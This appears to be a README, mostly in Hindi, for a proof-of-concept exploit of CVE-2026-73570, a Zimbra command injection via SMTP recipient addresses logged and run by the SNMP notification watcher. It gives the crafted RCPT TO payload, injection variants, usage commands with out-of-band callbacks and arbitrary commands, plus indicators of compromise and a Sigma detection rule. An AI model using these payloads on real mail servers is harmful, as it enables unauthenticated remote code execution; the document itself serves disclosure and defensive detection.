
CVE-2026-73570 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो zimbra-snmp लॉग इंजेक्शन के माध्यम से Zimbra Collaboration Suite में एक अनऑथेंटिकेटेड OS कमांड इंजेक्शन है, साथ में डिटेक्शन मार्गदर्शन।
CVE-2026-73570 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Zimbra Collaboration Suite < 10.1.20 में एक अनधिकृत OS कमांड इंजेक्शन (CWE-78, CVSS 8.9) है, जब zimbra-snmp पैकेज इंस्टॉल हो और SNMP नोटिफिकेशन सक्षम हों।
अस्वीकरण: यह PoC केवल अधिकृत सुरक्षा परीक्षण, रक्षात्मक शोध, और अपने स्वयं के सिस्टम के सत्यापन के लिए है। इसका उपयोग किसी ऐसे सिस्टम के विरुद्ध न करें जो आपके स्वामित्व में न हो या जिसके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति न हो।
Zimbra की SNMP नोटिफिकेशन सुविधा सेवा घटनाओं के लिए /var/log/zimbra.log की निगरानी करने हेतु swatchdog का उपयोग करती है। जब कोई लॉग लाइन इसके वॉच पैटर्न से मेल खाती है, तो मेल खाते टेक्स्ट को एक शेल कमांड में इंटरपोलेट किया जाता है जो SNMP नोटिफिकेशन भेजता है — बिना सैनिटाइज़ेशन के।
हमले की श्रृंखला:
1. Attacker sends an SMTP session with a crafted RCPT TO address:
RCPT TO:<"x: Service status change: localhost $(CMD)
changed from stopped to running"@cve.invalid>
The local part is an RFC 5321 quoted-string, so Postfix accepts the
address syntax (spaces, colons, $(...) included).
2. Postfix rejects the recipient (relay denied / user unknown / sender
restriction) and writes the FULL to=<...> string, quotes stripped, into
/var/log/zimbra.log:
NOQUEUE: reject: RCPT from unknown[x.x.x.x]: ... to=<x: Service status
change: localhost $(CMD) changed from stopped to [email protected]> ...
3. swatchdog (zimbra-snmp) periodically scans the log and matches its
watchfor pattern "Service status change ... changed from ... to ...".
4. The matched text is interpolated into the SNMP notification shell command
-> $(CMD) is evaluated -> command execution as the `zimbra` user.
लक्ष्य को निम्नलिखित सभी शर्तें पूरी करनी चाहिए:
zimbra-snmp पैकेज इंस्टॉल होzmlocalconfig | grep -i snmp_notify)हमलावर पक्ष: Python 3 (केवल मानक लाइब्रेरी, कोई निर्भरता नहीं)।
# 1. Verify RCE via out-of-band DNS callback (interactsh / Burp Collaborator):
python3 poc_cve_2026_73570.py -t mail.target.com --oob abc123.oast.site
# 2. Verify RCE via HTTP callback to your listener:
python3 poc_cve_2026_73570.py -t mail.target.com --oob http://10.0.0.5:8884/cb
# 3. Drop a marker file on the host (check manually on the server afterwards):
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "touch /tmp/CVE-2026-73570_pwned"
# 4. Fingerprint only (no payload sent):
python3 poc_cve_2026_73570.py -t mail.target.com --check-only
# Debug: print the full SMTP transcript
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "id" --debug
विकल्प:
| फ़्लैग | विवरण |
|---|---|
-t, --target | लक्ष्य Zimbra SMTP IP/होस्टनाम (आवश्यक) |
-p, --port | SMTP पोर्ट (डिफ़ॉल्ट: 25) |
--tls | STARTTLS का उपयोग करें (जैसे पोर्ट 587) |
--oob | OOB DNS डोमेन या HTTP कॉलबैक URL (अनुशंसित) |
--cmd | OOB कॉलबैक के बजाय मनमाना कमांड |
--fake-host | नकली Service status change स्ट्रिंग के अंदर होस्टनाम (डिफ़ॉल्ट: localhost) |
--check-only | केवल फिंगरप्रिंट, कोई पेलोड न भेजें |
--delay | भेजने के बीच विलंब सेकंड में (डिफ़ॉल्ट: 1.0) |
--debug | पूरा SMTP ट्रांसक्रिप्ट प्रिंट करें |
स्क्रिप्ट प्रत्येक कमांड को कई इंजेक्शन वेरिएंट में भेजती है ($(...), बैकटिक्स, ;cmd;#, $({IFS}...))। प्रत्येक वेरिएंट के लिए, RCPT प्रतिक्रिया कोड देखें:
| RCPT प्रतिक्रिया | अर्थ |
|---|---|
250, 450, 454 Relay access denied, 550 5.1.1 User unknown | एड्रेस सिंटैक्स स्वीकृत — पूर्ण to=<...> स्ट्रिंग वाली रिजेक्ट लाइन अब लॉग में है। पेलोड रोपित। |
501 5.1.3 Bad recipient address syntax | Postfix ने पार्स समय पर एड्रेस अस्वीकार कर दिया — कुछ भी उपयोगी लॉग नहीं हुआ। स्क्रिप्ट स्वचालित रूप से बिना कोट्स वाले फ़ॉलबैक के साथ पुनः प्रयास करती है। |
फिर सर्वर पर पुष्टि करें (यदि आपके पास पहुँच है):
# The injected line must be present:
grep 'Service status change' /var/log/zimbra.log | tail
# Expected: ... to=<x: Service status change: localhost $(...) changed from stopped to [email protected]> ...
# Wait 1-5 minutes (swatchdog scans the log periodically — execution is NOT real-time),
# then check for the effect:
ls -la /tmp/ # if you used --cmd
# or watch your OOB listener for the callback
यदि लॉग लाइन मौजूद है लेकिन कमांड कभी निष्पादित नहीं होता, तो शेष पूर्व-शर्तें swatchdog पक्ष पर हैं: जाँचें कि प्रक्रिया चल रही है (ps aux | grep swatch) और उसका कॉन्फ़िगरेशन वास्तव में Service status change पैटर्न की निगरानी करता है।
निष्पादन संदर्भ: कमांड zimbra उपयोगकर्ता के रूप में चलते हैं (root के रूप में नहीं)।
fail2ban-client status, iptables -L -n | grep <your_ip>, और पुष्टि करें कि पैकेट Postfix तक पहुँचते हैं tcpdump -i any port 25 and host <your_ip> -nn -A के साथ।NOQUEUE: reject लाइन के बजाय
warning: Illegal address syntax ... in RCPT command: ... के रूप में लॉग होते हैं। इसके बजाय अपने हमलावर IP से grep करें।सफल शोषण के प्रमुख संकेतक:
/var/log/zimbra.log में Postfix रिजेक्ट लाइन के अंदर to=<*: Service status change: *$(...)* — लगभग शून्य गलत सकारात्मक, क्योंकि Service status change टेक्स्ट कभी भी वैध रूप से to=<> एड्रेस के अंदर नहीं आता।sh, bash, curl, wget, nc, python, perl) जो swatchdog / swatch की चाइल्ड के रूप में स्पॉन हुआ हो।/opt/zimbra/jetty/webapps/ या /opt/zimbra/jetty_base/webapps/ के अंतर्गत नई .jsp/.jspx फ़ाइलें, /tmp/ में अप्रत्याशित फ़ाइलें, zimbra उपयोगकर्ता के लिए नई cron प्रविष्टियाँ या SSH कुंजियाँ, और मेल सर्वर से आउटबाउंड कनेक्शन जो सामान्य मेल प्रवाह से मेल नहीं खाते।उदाहरण Sigma नियम (प्रयास चरण):
title: Zimbra SNMP Notification Log Injection Attempt - CVE-2026-73570
logsource:
product: linux
service: postfix
detection:
sel:
- 'to=<*: Service status change: *$(*'
- 'to=<*: Service status change: *`*'
condition: sel
level: high
tags:
- attack.initial-access
- attack.t1190
- cve.2026.73570
zimbra-snmp पैकेज को रोकने/हटाने पर विचार करें।